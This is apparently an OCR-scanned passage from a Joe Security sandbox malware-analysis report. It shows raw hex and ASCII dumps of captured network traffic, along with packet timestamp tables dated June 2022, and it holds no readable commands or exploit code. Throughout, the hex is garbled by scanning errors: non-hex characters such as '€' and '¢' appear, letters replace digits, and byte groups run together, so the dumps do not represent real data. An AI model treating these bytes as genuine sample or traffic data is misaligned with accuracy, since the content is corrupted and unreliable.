417063 16 18 33 b7 5b 72 41 6b 58 f1 39 8d 08 7 Ob be 8c ef 8f 87 65 df 08 a0 0d 28 f5 a8 dd bf d3 71 38 a3 f2 b6 71 73
99 78 22 03 dd el d2 16 33 78 e8 c6 06 63 b3 1b 43 47 ee a7 4f e0 8d ec 2a cc 62 10 c6 3e 86 5e 66 7a 6¢ d1 e3 85 40
6f 88 5¢ df fd 5¢ 4a 57 82 32 4d 51 al f0 af f5 5a fO d4

Data Ascii: .4z|Y(58X]us’3BA5. "v6XcwHO0ar?]2ngxX#8z? &07t%dQ]6DC<(J(!&q=T[Apc3[rAkX9e(q8qsx"3xcCGO*b>
AMzI@0o\IW2MQZ

Data Raw: 5e ab 54 f6 69 5b 93 de cf Oe d0 06 99 25 ea 3c d2 a4 32 66 f9 Oe 5d 8f e8 7f a7 ed ae b0 c8 34 c3 ad 94 4f a6
4a eb 91 f9 da 92 cb 1b cb fc a6 20 39 71 38 7f 04 be 50 85 2d 7a 13 €0 9b 20 bb f0 dO 14 7f 3d 14 fa 79 64 43 3c 8e 1f
b9 6a 89 26 3b a7 ed ae b0 c8 34 c3 ad el aa 7a 14 b4 b7 fb de 92 cb 1b cb fc a6 20 39 23 7e 8b 39 c4 8a 2a 4e d9 31 dc
30 a3 c156 7c c9 38 31 5b 75 9e 80 51 fb 99 23 20 2c d3 ¢8 1d a7 ed ae b0 ¢8 34 c3 ad c¢8 65 b2 83 c9 57 62 33 92 ch
1b cb fc a6 20 39 1b 37 76 56 24 2a aa a4 f7 2b 97 a9 4d ce 64 98 17 60 53 4f e6 4f 68 1f 8a 3a 1d a9 39 35 34 7f a7 ed
ae b0 c8 34 c3 ad 8b 66 72 53 b7 e6 ea 2c 92 cb 1b cb fc a6 20 39 8e 90 e7 d0 09 6e 3b c6 c¢7 9d d6 a0 31 97 1e b2 7b
a6 de d1 90 7d e0 ad 28 9b ce 7e f5 ee b8 ee a7 ed ae b0 c8

Data Ascii: "Ti[%<2f]40J 9¢8P-z =ydC<j&;4z 9#~9*N10V|81[uQ# ,4eWh3 97vV$*+Md SOOh:9544frS, 9n;1{}(~

Data Raw: 02 ac 00 14 8c d7 3b 31 b9 68 16 c9 be 74 c5 93 11 9a 16 5d bf b8 d9 48 19 db 14 21 5a 45 00 67 3c ch 24 26
2d b3 95 20 30 1a 80 la ed ch 9e Oe 28 45 d5 b7 €8 35 2f Ob 60 b2 2b e6 6b 5¢ 5e 35 ¢7 cb 49 ¢7 08 al 32 53 1a 89 73
3e b5 24 eb cf 65 ce f1 9 4d 9a dd f2 27 8 92 af 23 a5 57 03 49 ce 2 b4 ea 8d 1a 91 be 4d 8d 6a de bb bc Oc Oc 51 a0
59 cf 7b dd 42 4c 8f a3 d4 12 2a 5f 9b 43 Ob 1d ec 60 8a Oc 9b c4 43 fb 0d 34 ca fe ab 73 d3 23 bf 73 83 c9 e7 28 ff 03 91
91 6f 7e fb f5 5b d5 b7 €8 35 2f Ob 60 b2 3d 4a 9¢c 21 72 05 2d {7 93 70 Oe 08 93 cf cb 62 2f 1c 9a e2 58 35 f0 80 74 65 {7
71 e5 d2 cf c9 5f 79 bb 61 ff 28 19 ce b2 2b 9d 49 11 33 fd 26 c1 94 88 aa 3a 62 c7 8f 9f 63 6b 82 11 40 40 77 a6 90 1b 8¢
61 5f 30 eb 99 46 3a aa b5 7b 70 99 f9 96 b0 el 41

Data Ascii: ;1ht]HIZEg<$&- O(E5/ +k\"512Ss>$eM#WIMjQY{BL* _C C4s#s(o~[5/ =J!r-pb/X5teq_ya(+I3&:bck@@wa_OF:
{pA

Data Raw: 64 01 9d ad c7 27 b3 f6 39 e3 a3 c4 ed 78 03 3d 8e 92 79 Oe 8a 7e 63 34 de 84 31 dd 18 af 70 ac 23 ce 06 c7
91 ae 43 el 5b b5 47 48 15 2a cb be 38 04 Oc b7 de eb 1e 99 c9 6a 9d ad c7 27 b3 f6 39 €3 00 b5 14 73 67 b2 9e el 41
82 d8 80 55 a2 f7 04 Ob 57 a0 fc 2a 39 a8 75 74 Ob 68 e0 39 00 ab d1 47 48 15 2a cb be 38 04 99 3f d7 a5 cb 74 ce 39 c1
94 88 aa 3a 62 c7 8f 9e 83 09 94 9b 8e 03 99 Ob 31 16 c7 d1 bd b7 c3 4d bb 89 89 ad b2 3 cf 30 15 fc ¢3 86 7b 9e fb cO
57 3b c9 bb f1 30 0d 81 66 80 7a 20 44 86 df d5 b7 e8 35 2f Ob 60 b2 c3 d4 ab 5a ca d8 cf 5a e7 0f 4c 42 7b d5 24 18 79
a4 36 4f 2d 79 c4 11 73 5b 2c 60 41 17 b0 3f 35 e4 6b ec 8f 80 16 95 ef 7c 81 f6 2a 66 cd 3c d5 b7 e8 35 2f Ob 60 b2 68
44 25 2d 0f 18 ff 52 9a df a3 78 Ob Oc 40 af 1f d8 e9 8f 03

Data Ascii: d'9x=y~c41p#C[GH*8j'9sgAUW*9uth9GH*8?t9:b1MO{W;0fz D5/°ZZLB{$y60-ys[, A?5k|*f<5/"hD%-Rx@

Data Raw: d9 6e 16 62 a5 7d fd 8b 99 1d 62 2a 6b 4a 06 27 2b a9 8b da 76 0d 6f a3 7e c7 e6 bd b4 f0 26 d7 7e 2e Oc Oa
bf fb be 4c 1c 25 b8 bd db a0 97 e5 fe 1f 14 5b 9a al ea ba 16 89 64 07 31 40 de 91 e5 Ob 9d ad c7 27 b3 f6 39 e3 d8 88
535013 75 4c 65 ec 1c 7a a7 19 05 5 36 1b 5a 57 c4 29 3e 12 78 00 4d c3 43 43 87 15 3c 47 48 15 2a cb be 38 04 64
€2 91 6a 63 04 58 b6 9d ad c7 27 b3 f6 39 e3 9e d0 a3 a3 dd 39 4d 11 a5 ce d1 42 5a 29 22 56 44 32 4a a7 4c 51 f7 64
ae b2 Oa e6 74 15 32 8c 47 48 15 2a cb be 38 04 92 04 Oa c7 94 cb ac f0 9d ad c7 27 b3 {6 39 e3 ef d6 3a b8 e4 7c e5 5
79 95 35 30 d5 f0 9b f2 2c a7 cf dc 31 51 eb de 7b 1f de b2 a2 11 0f 67 47 48 15 2a cb be 38 04 38 11 d8 52 04 81 86 3a
9d ad c7 27 b3 f6 39 e3 33 2f 75 35 €5 05 14 56 d9 72 f2 54 51

Data Ascii: nb}b*kJ'+vo~&~.L%[d1@'9SPulLez6ZW)>XxMCC<GH*8djcX'99MBZ)"VD2JLQdt2GH*8'9:|y50,1Q{gGH*88R:"
93/usVITQ
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kBytes

Timestamp transferred Direction
2022-06-23 16:19:25 UTC 250 IN
2022-06-23 16:19:25 UTC 258 IN
2022-06-23 16:19:25 UTC 265 IN
2022-06-23 16:19:25 UTC 273 IN
2022-06-23 16:19:25 UTC 281 IN
2022-06-23 16:19:25 UTC 289 IN
2022-06-23 16:19:25 UTC 297 IN
2022-06-23 16:19:25 UTC 304 IN
2022-06-23 16:19:25 UTC 312 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 56 7e d9 38 e7 78 2a 70 7c a7 32 47 e3 c0 63 b8 bc a3 29 81 97 aa 80 f2 €9 82 01 ab ad 64 b6 e7 87 2e bc 3e
65 a6 dd 40 49 16 ed 90 63 86 7b 58 1b c3 fd b9 8e 82 22 de eb 17 d9 38 e7 78 2a 70 7c a7 bc a5 a3 a2 c1 d0 8b c3 29
8197 aa 80 f2 €9 82 ec c8 1b 2a b6 4d 05 Oc bc 3e 65 a6 dd 40 49 16 ae bb 3f dd b8 cf 9c 4e 66 20 54 61 9f eb 9a 44 d9
38 e7782a70 7c a7 8b 4d 2f 0a 4c 00 67 29 29 81 97 aa 80 f2 e9 82 bf f0 e3 f4 2b 1d 74 67 bc 3e 65 a6 dd 40 49 16 f9
9a d9 a5 36 f9 91 43 66 20 54 61 9f eb 9a 44 d9 38 e7 78 2a 70 7c a7 30 5¢c eb 35 a4 a8 f1 45 29 81 97 aa 80 f2 €9 82 26
f2 0d c8 ac 41 6 ed bc 3e 65 a6 dd 40 49 16 f3 00 65 ed f9 Oe 80 2f 9a fe 30 36 62 ab 0d dc d9 38 e7 78 2a 70 7c a7 b0
e0 71 a5 99 c8 4d 50 29 81 97 aa 80 f2 e9 82 b6 96 e3 3a 87

Data Ascii: V~8x*p|2Gc)d.>e@Ic{X"8x*p|)*M>e@I?Nf TaD8x*p|M/Lg))+tg>e@I|6Cf TaD8x*p|0\5E)&A>e@Ie/06b8x
*plaMP):

Data Raw: c7 5¢ 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 2d ce 9d e7 cb 3c e7 2b 29 81 97 aa 80 f2 €9 82 09 b4
dd 45 1b 3b 96 dd bc 3e 65 a6 dd 40 49 16 fO bc 72 77 9d dc b5 35 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 46 f1
90 d3 18 56 c6 6e 29 81 97 aa 80 f2 €9 82 e7 ca 84 39 24 92 36 05 bc 3e 65 a6 dd 40 49 16 91 29 13 e2 91 33 a8 f8 50
8888 7c d1 81 cd 60d9 38 e7 78 2a 70 7c a7 82 88 e2 f7 22 b6 46 be 29 81 97 aa 80 f2 €9 82 ec 35 76 al 01 1e 00 fb bc
3e 65 a6 dd 40 49 16 5f 86 18 49 cb ff b5 0a 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 24 a6 34 16 7f e7 19 e0 29
8197 aa 80 f2 €9 82 41 3d a8 9f 35 e5 c5 d2 bc 3e 65 a6 dd 40 49 16 df 07 b3 f4 13 fa dO fc 50 88 88 7c d1 81 cd 60 d9
38 e7782a70 7c a7 ff d1 6¢ 80 33 77 d3 2b 29 81 97 aa 80

Data Ascii: \P| 8x*p|-<+)E;>e@Irw5P| 8x*p|FVn)9$6>e@I)3P| 8x*p|"F)5v>e@I_IP| 8x*p|$4)A=5>e @IP| 8x*p|I3w+)

Data Raw: 49 16 18 07 21 c5 7 81 13 c1 88 65 38 da d1 df 02 74 d9 38 e7 78 2a 70 7c a7 a4 42 9b 9a b2 50 a8 34 29 81
97 aa 80 f2 €9 82 e4 77 85 03 68 89 06 4d bc 3e 65 a6 dd 40 49 16 82 dd 95 d1 ec ee 56 d9 88 65 38 da d1 df 02 74 d9
38e7782a70 7c a7 d8 4e Oe e5 5e 77 82 f4 29 81 97 aa 80 f2 e9 82 6 7c c9 1d Of 0a 36 53 bc 3e 65 a6 dd 40 49 16 2b
1la 4113 bb fe ac 4b ea 24 7b a7 a7 6a 78 02 d9 38 e7 78 2a 70 7c a7 a9 a0 0d 93 2a ce c2 c0 29 81 97 aa 80 f2 e9 82
24 3f 60 9f 94 03 7d 3a bc 3e 65 a6 dd 40 49 16 5b c3 86 84 f2 02 47 b2 a7 9b 17 7 ef f6 92 9e d9 38 e7 78 2a 70 7c a7
b4 77 b5 a5 3b e6 05 fd 29 81 97 aa 80 f2 €9 82 9d ¢8 40 3f 5d 8a 5b a7 bc 3e 65 a6 dd 40 49 16 b0 b6 48 0Of 1f 43 6f 8e
fe c4 15 ca 32 2d 7d 0f d9 38 e7 78 2a 70 7c a7 3b 98 1a Oa 57

Data Ascii: I'e8t8x*p|BP4)whM>e@1Ve8t8x*p|N*w)|6S>e@I+AK${jx8x*p|*)$?" }:>e@I[G8X*p|w;)@7?][>e@IHC02-}8x*p|;W

Data Raw: 3d f7 bc 3e 65 a6 dd 40 49 16 9f 3d Oa d9 a3 06 5f e7 94 c2 3a 4b 67 2d 30 b5 d9 38 e7 78 2a 70 7c a7 73 9c
78 3b 7e 90 a2 2¢ 29 81 97 aa 80 f2 €9 82 59 21 a2 3d f8 33 ed 18 bc 3e 65 a6 dd 40 49 16 Ob 62 2f Oc 4d cd 3a ba 92 1a
2f 06 3c ee fa9b d9 38 e7 78 2a 70 7c a7 c7 b9 29 b6 57 el e5 f5 29 81 97 aa 80 f2 €9 82 c1 {7 d8 8c 3f 31 62 56 bc 3e
65 a6 dd 40 49 16 72 b1 73 9d 20 82 7a 4d 56 51 b4 f3 bf 6d b6 a6 d9 38 e7 78 2a 70 7c a7 9b 82 bc fd 99 4f fc 19 29 81
97 aa 80 f2 €9 82 7b 03 bc 2e Oe c4 95 45 bc 3e 65 a6 dd 40 49 16 76 7d 3b 3a 46 de 00 4f 3f 2c 94 4f b2 3a e0 85 d9 38
e7782a70 7c a7 6d c6 f3 5d 61 Oc b6 40 29 81 97 aa 80 f2 €9 82 6a 94 b2 b9 a6 e3 4f 37 bc 3e 65 a6 dd 40 49 16 73 bl
€252 13 8af4 c5dd 29 e2 5d 3b b9 75 d6 d9 38 e7 78 2a

Data Ascii: =>e@I=_:Kg-08x*p|sx;~,)Y'=3>e@Ib/M:/<8x*p|)W)?1bV>e@Irs zMVQm8x*p|O){.E>e@IVv};:FO?,0:8x*
plm]a@)j07>e@IsR)];u8x*

Data Raw: €9 82 94 20 42 51 93 ad 82 3a bc 3e 65 a6 dd 40 49 16 df a8 af e2 80 d1 e3 50 f0 81 3b f2 cb 6e eb ed d9 38
e7782a707ca7c277310a72alace0 298197 aa80f2e9 82cl c8 18 e4 de d9 4a 2f bc 3e 65 a6 dd 40 49 16 1d 50
8 8 40 3e 9b 35 f0 81 3b f2 cb 6e eb ed d9 38 e7 78 2a 70 7c a7 68 65 95 e5 26 07 02 01 29 81 97 aa 80 f2 €9 82 37 73
d6 b3 18 89 aa 04 bc 3e 65 a6 dd 40 49 16 64 a5 50 65 73 dc f3 fO f0 81 3b f2 cb 6e eb ed d9 38 e7 78 2a 70 7c a7 81 ff
4d 39 c2 ca3ec9298197 aa80f2e982e7ch62ec 6546 eb ec bc 3e 65 a6 dd 40 49 16 Oc 36 45 01 2e f8 15 87 f0 81
3bf2 ch 6e eb ed d9 38 e7 78 2a 70 7c a7 bf 05 98 f6 11 c5 9c dO 29 81 97 aa 80 f2 e9 82 2f Oe 66 ae bl 72 25 70 bc 3e
65 a6 dd 40 49 16 33 db 71 66 a3 44 e6 de f0 81 3b f2 cb

Data Ascii: BQ:>e@IP;n8x*p|w1r)J/>e@IP@>5;n8x*p|he&)7s>e@IdPes;n8x*p|M9>)beF>e@I6E.;n8x*p|)/fr%p>e@I3qfD;

Data Raw: 85 44 29 81 97 aa 80 2 €9 82 55 53 2d ca 2c 57 6f 54 bc 3e 65 a6 dd 40 49 16 fb 6b 10 f6 9d 00 54 5a 9c a5
9b b4 a8 a7 30 3c d9 38 e7 78 2a 70 7c a7 e2 ff 35 45 90 6b fd 66 29 81 97 aa 80 f2 €9 82 50 07 73 a2 82 4f 06 98 bc 3e
65 a6 dd 40 49 16 50 ed 25 60 cc 29 a9 10 9c a5 9b b4 a8 a7 30 3¢ d9 38 e7 78 2a 70 7c a7 d6 1c af 87 c1 93 09 c2 29
81 97 aa 80 f2 €9 82 43 e4 4a 40 3f b5 32 87 bc 3e 65 a6 dd 40 49 16 a6 40 74 ec e4 ¢3 33 d5 9c a5 9b b4 a8 a7 30 3¢
d9 38 e7 78 2a 70 7c a7 58 b2 c6 49 39 3a 8d 21 29 81 97 aa 80 12 €9 82 02 75 84 bb 52 8b 35 {8 bc 3¢ 65 a6 dd 40 49 1
61 25 32 88 18 23 2d 63 9c a5 9b b4 a8 a7 30 3¢ d9 38 e7 78 2a 70 7c a7 26 d1 b4 03 4e 26 9b d0 29 81 97 aa 80 2 €9
82 39 9f ¢5 84 40 19 2e 91 bc 3e 65 a6 dd 40 49 16 03 7a 21 25 70

Data Ascii: D)US- WoT>e@IKTZ0<8x*p|SEk\)PsO>e@IP%)0<8x*p|)CI@?22>e@|@t30<8x*p|XI9:))UR5>e @ 1%2#-CO<8xX
*p|&N&)I@.>e@IZ!%p

Data Raw: 7c a7 4a fe ea c7 ac 18 3a ee 29 81 97 aa 80 f2 €9 82 09 f5 5a f2 1a 41 59 fc bc 3e 65 a6 dd 40 49 16 bb 50 4a
9893 00 bc e9 a2 f5 al 28 9a 7d 11 98 d9 38 e7 78 2a 70 7c a7 70 10 99 a8 82 f4 48 96 29 81 97 aa 80 f2 €9 82 4b 89 9e
87 5 3d 6f 99 bc 3e 65 a6 dd 40 49 16 2d bd cf d7 df 57 3f fa 65 89 4b 86 40 b6 f1 7c d9 38 7 78 2a 70 7c a7 60 Of 92 ff
ac f0 9c 1d 29 81 97 aa 80 f2 €9 82 f5 61 85 80 68 ee 71 f7 bc 3e 65 a6 dd 40 49 16 b7 4a 78 ff d9 1c fa fc 65 89 4b 86 40
b6 f1 7c d9 38 e7 78 2a 70 7c a7 c3 dc 78 a8 c8 75 f8 bf 29 81 97 aa 80 f2 €9 82 57 21 34 b9 Oc c8 b1 19 bc 3e 65 a6 dd
4049 16 7e 8d 1b 9f 14 dc e6 19 89 43 27 29 5a 5e 24 a8 d9 38 e7 78 2a 70 7c a7 63 19 37 76 ff b8 7f f4 29 81 97 aa 80
f2 €9 82 6d f1 d1 5a 2f 07 f5 3b bc 3e 65 a6 dd

Data Ascii: |[3:)ZAY>e@IPJ(}8x*p|pH)K=0>e @I-W?eK@|8x*p|")ahg>e @1IxeK@|8x*p|xu)W!4>e@I~C")Z"$8x*p|c7V)
mzZ/;>e

Data Raw: Ob b4 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68 ef f1 a3 92 d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa da 9b
ab ed 2f 5f 4a 7e d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa 46 45 37 e3 9a 3b ed d6 6 64 b7 8d da 29 Ob b4 6d 65
24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64
b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45
37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8¢ b3 58 13 46 45 37 €3 9a 3b ed d6 €6 ec 25 12 a2 ¢3 60 33 8¢
70 fe 44 75 97 c0 bl 46 45 37 e3 9a 3b ed d6 6 64 b7 8d da 29 Ob b4 25 e6 fa 13 c9 8¢ 4b ed 34 db 9c 68 ef f1 a3 92 d6
b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa f1 85 d0 a0 6f

Data Ascii: %K4hFc&NFt/_J~FC&NFFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7

;% 3pDUFE7;d)%K4hFc&NFto

Data Raw: 4b ed 46 45 37 €3 9a 3b ed d6 7b cd d6 b9 9c 39 33 c4 25 e6 fa 13 c9 8c 4b ed 46 45 37 e3 9a 3b ed d6 7b cd
d6 b9 9c 39 33 c4 25 e6 fa 13 c9 8¢ 4b ed 34 db 9c 68 ef f1 a3 92 6 45 a6 de da e9 8b 78 26 2a 59 98 6f d9 03 4a 34 db
9c 68 ef f1 a3 92 f6 45 a6 de da e9 8b 78 26 2a 59 98 6f d9 03 4a 46 45 37 €3 9a 3b ed d6 7b cd d6 b9 9c 39 33 c4 25 e6
fa 13 c9 8c 4b ed 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86 Oe a5 71 28 83 0f ef 46 45 37 e3 9a 3b ed d6 e6 ec
2512 a2 c¢3 60 33 8¢ 70 fe 44 75 97 c0 b1 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45
37e39a3bedd6e6ec2512a2c36033615e7b30fclbald 17 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86
Oe a5 71 28 83 Of ef 34 db 9c 68 ef f1 a3 92 f6 45 a6 de da

Data Ascii: KFE7;{93%KFE7;{93%K4hEx&*Y0J4hEx&*Y0JFE7{93%KFE7;Fc&q(FE7;% 3pDUFE7;d)me$?XFE

7% 3aMOFE7;Fc&q(4hE
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kBytes

Timestamp transferred Direction
2022-06-23 16:19:25 UTC 320 IN
2022-06-23 16:19:25 UTC 328 IN
2022-06-23 16:19:25 UTC 336 IN
2022-06-23 16:19:25 UTC 344 IN
2022-06-23 16:19:25 UTC 351 IN
2022-06-23 16:19:25 UTC 359 IN
2022-06-23 16:19:25 UTC 367 IN
2022-06-23 16:19:25 UTC 375 IN
2022-06-23 16:19:25 UTC 383 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 7d be 25 87 57 0Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37
f2 74 2f f1 08 fO 7f 9e 5b fe 5f 80 6f bd 76 c7 €5 78 d4 60 f4 84 ec 91 8a 28 23 9d 58 7d be 25 87 57 0a 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 2 74 2f f1 08 7d be 25 87
57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2
74 2ff1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee da 91 0d ca 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68
ef f1 a3 92 d6 b4 04 46 63 1b 26 1c 84 ec 91 8a 28

Data Ascii: %AYs?S}%W%Z81N7/[_ovx (#X}%W%Z8INT7t/}%W%Z8IN7t/}%W%ZBIN 7} %W%HZ8INT7t/}%W%ZE1IN
T%W%HZ8LINT7}%W%HZ8%KAhFc&(

Data Raw: 60 f4 b2 2a 69 6e dd 42 55 0f 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 f0 7f 9e
5b fe 5f 80 6f Of 11 94 b8 af e2 c1 76 d0 4c 9a b2 b2 29 ¢3 14 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 74 d1 34 4b
3fagcl cc 81 ca5d 2c 74 03 96 €0 bd 76 c7 e5 78 d4 60 f4 b2 2a 69 6e dd 42 55 0f 9d 47 26 75 8f 23 54 d4 d8 66 11 a3
03 6e 3f 20 82 28 cf fd fa 57 48 96 24 cd 02 93 93 2d e5 38 91 13 d2 28 32 3f 1e d0 fO f6 cf d9 fa 3b d4 2c 7d be 25 87 57
Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 25 e6 fa 13 c9
8c 4b ed 34 db 9c 68 ef f1 a3 92 d1 32 97 bf Of ee 99 78 6d 65 24 3f 8¢ b3 58 13 64 6f 45 99 Oa 08 4e 79 5a 8a 38 ee da
91 0d ca 31 4e 37 2 74 2f f1 08 fO 7f 9e 5b fe

Data Ascii: “*inBU}%W%AYSs?s[_ovL)}%W%AYt4K?],tvx inBUG&U#Tfn? (WH$-8(2?;,}9%W%Z81N7/}9%W%Z
8%K4h2xme$?XdoENYZ81INT7/[

Data Raw: 22 59 db 12 a9 5d 75 15 7 22 08 6e 55 f6 d6 36 8d 52 b6 d2 ff 7a 48 5f 8a 82 e2 a0 82 10 5¢ 49 bc 6 86 d8 c5
c4 9b c4 1f fd 8f 45 f3 74 58 35 73 8d 7 c9 el aa 3d b7 b1 61 c0 ea 21 5f b1 e3 Ob b4 33 6¢ f6 f4 9b 13 92 fe f4 6a 32 1e
27 d7 5e f8 cf b6 c4 8b 4f ab 55 2d 90 7d 01 6f 35 59 4f e1 50 53 ec el a0 4e a3 92 45 81 ae 3b e0 ab ff 1b 14 b2 9a 48
d3 a6 c7 56 Of 2e 8d d9 49 2d 17 90 e8 ef ee 11 4c 09 be ba c1 a9 92 af eb 5a cb 7d 76 fd 1f 65 33 8f 59 1d 5e Ob Oa 2c
8b 4b 6b 61 c5 7e 54 bd e4 32 5d ae 16 54 68 34 83 45 2d 4f c4 50 53 ad 62 b5 fc €8 3f d9 50 9d e5 d6 8c 98 d2 9f 71 03
€8 9c 74 18 c5 e8 a2 fa 55 16 ea €9 dd 6d 1f 94 6a 01 f4 55 36 00 38 6¢ 7d c4 56 ed a2 ce e2 49 f4 27 10 fb 1f 13 5a 4d
el cO0f93f7bfae7 ed eee8e2e2 7b db 6f 1a 7b

Data Ascii: "Y]Ju"nU6RzH_\IEtX5s=a!_3lj2""OU-}05YOPSNE;HV.I-LZ}ve3Y",Kka~T2]Th4E-OPSb?PqtUmjU68I}VI'ZM?{{o{

Data Raw: 59 6¢ 05 ad 29 95 b7 47 6a €9 eb 40 Oe 57 1d d7 14 d9 c2 6e 17 1c 5a 7a 93 a8 8b fc d1 56 26 fe ae a5 e7 1c
cl a4 1a 92 b6 Oc 78 e7 bf 68 c7 99 ae 83 ee 2d 98 9e 60 ec ca 4e 14 c7 7b 97 54 67 3d c6 f3 9e da 39 ee 11 2e eb 21 d8
db 99 de 89 5d ef 90 cf Oe dc a3 bb €8 76 13 71 91 31 94 34 de Ob el c2 a8 23 fb 84 74 94 47 80 83 0d fe fb 80 eb 05 23
27 61 6¢ c5 67 2c a7 48 9d bb 07 69 a3 6b f1 9f 06 19 23 4c ca 7d de d4 da 4d 13 59 5d 32 df 76 bc 8 c0 27 20 81 48 8¢
ec db 94 cb be e7 9f 06 €8 02 3b da al bd 14 1b 33 a5 b1 82 14 al 77 7a f0 8a b2 d9 23 78 b5 a0 95 10 64 c4 2e 20 c3
87 3e 7e 7b €9 45 c6 Oe 22 f4 db bb a0 72 74 57 45 fb 7c ed 49 19 dO ed 7b b7 4e 5e 13 1f be 5d 5¢ ef 4a 16 7d a3 d5 f4
39 eb 5b 52 58 58 9b 90 75 a0 85 4b ad b9 37 b8 31 1a 3b 64

Data Ascii: YI)Gj@WnZzV&xh-"N{Tg=9.!lvq14#tG#'alg,Hik#L}MY]2v' H;3wz#xd. >~{E"rtWE|{N*\J}9[RXXuK71;d

Data Raw: Oa d2 58 f2 9a Oc c0 88 08 c9 bf 11 57 58 85 9f f8 df c9 b6 66 ed 99 83 69 32 2c fd 21 93 7a a4 Ob 70 f8 9 el
8e 20 e7 4e 4f c3 5d e2 01 9a a7 41 75 81 62 8f f2 3a 54 4e 90 87 08 8b d6 50 8f d8 4b el 8e 8a €8 7d 91 f5 34 e2 20 e2
14 24 3e be f9 4c 72 8b aa 3¢ 28 7d 7b 3b 65 83 8d d3 07 62 26 9f c4 41 b8 14 6¢ 1f 9b 04 66 93 a3 3c 50 24 3c e0 39 Ob
a5 4a 09 65 ee 72 5f 35 9f 3d 8¢ b6 2d ca a9 c1 1a 21 41 3f df 6b 2e 68 47 83 94 86 14 c7 ce 18 cd Of 11 cb 15 ce 36 {7 ff
219b 567 20 41 94 4d 41 17 b9 88 3c af a8 02 ad c4 b9 4b d1 9d 4b ca c7 b9 1a 77 42 f2 fa 31 7d f5 72 f9 9a fd 68 89
4a a2 fc 36 fd 71 fc 5¢c e7 a4 1d 72 f4 5¢ 17 79 27 fc 4c a8 36 3f 51 f8 ee 59 41 92 4e 52 e7 €9 5b Oc 3c e8 45 df 7d bd 61
98 73 f3 1a fO da b2 dc db 18 9c 69 9a 5c ab 14

Data Ascii: XWXfi2,!zp NOJAub: TNPK}4 $>Lr<(};eb&Alf<P$<9Jer_5=-1A?k.hG6!g AMA<KKwB1}rhJ6qg\r\y'L6?QY
ANR[<E}asi\

Data Raw: 7d e3 a2 2a b5 81 c1 le 4a 38 d1 fb 8a dd f9 a9 79 c8 84 f8 d3 65 10 21 35 e2 26 95 52 al 8a 5f b9 92 e4 3c fa
44 e8 77 0d 20 d4 93 87 07 97 e7 86 4b 4d 17 f2 b1 34 40 ba f4 23 30 78 df 53 57 a8 84 c4 94 52 79 86 3a 0d b5 03 70 c9
43 ¢9 86 85 2b c5 83 a2 53 6a 0c 92 20 85 6b 4a db 59 0b 8¢ 8a 1c ac b9 f3 fa eb a4 6d 69 20 97 fa db 68 bc cf fc b6 2c
4d ad bc 68 61 a9 ac 51 38 05 91 05 26 69 d9 6¢ 26 a3 dd ac 24 bf 7b 4b 6b 4a 24 2f c3 0d 88 Oe bb b5 82 e3 10 45 e0

2d 2f 80 3b 36 21 71 05 72 99 64 d9 9b Oe 4e eb 13 57 8b 1b 34 54 e3 99 59 68 42 c7 07 b6 93 6d 2b bf ee 2e 61 83 df 48
5f 19 b0 79 e4 52 15 82 fb b1 6a c6 22 9c 43 9a €0 8d d7 91 00 38 fb 64 65 1f 48 7f 6d 5b cd 5a d5 eb 5e b9 ea 49 b9 cd
23 a6 85 62 c7 e4 54 6a a9 fe 99 1c 35 bf9b a0 a7 7b 3e

Data Ascii: }*J8ye!5&R_<Dw KM4@#0xSWRy:pC+Sj kJYmi h,MhaQ8&il&${KkJI$/E-/;6!qrdNWATYhBm-+.aH_yRj"C8deH
m[Z7I#bTi5{>

Data Raw: 43 c0 25 2f 0a 40 el 7e d0 59 21 e2 da 5d 85 7b a8 c2 66 21 61 67 79 63 e6 fd f6 1a 79 22 da bc e4 a6 8b 52
€804 8b ¢3 14 31 23 4d 73 2 f4 72 07 8c a0 88 40 07 3e f5 27 45 69 19 df 3f e9 8e 65 b0 1f aa 12 fb 5d 78 02 4c c4 52
d1 84 5 d6 ce 6f 3b 8b d2 6f 56 ca c7 74 13 17 d2 45 ac fe ad 38 a6 d5 2e 89 88 96 13 6¢ 1f ¢6 89 3c 9e 5a f1 33 8a 17 f2
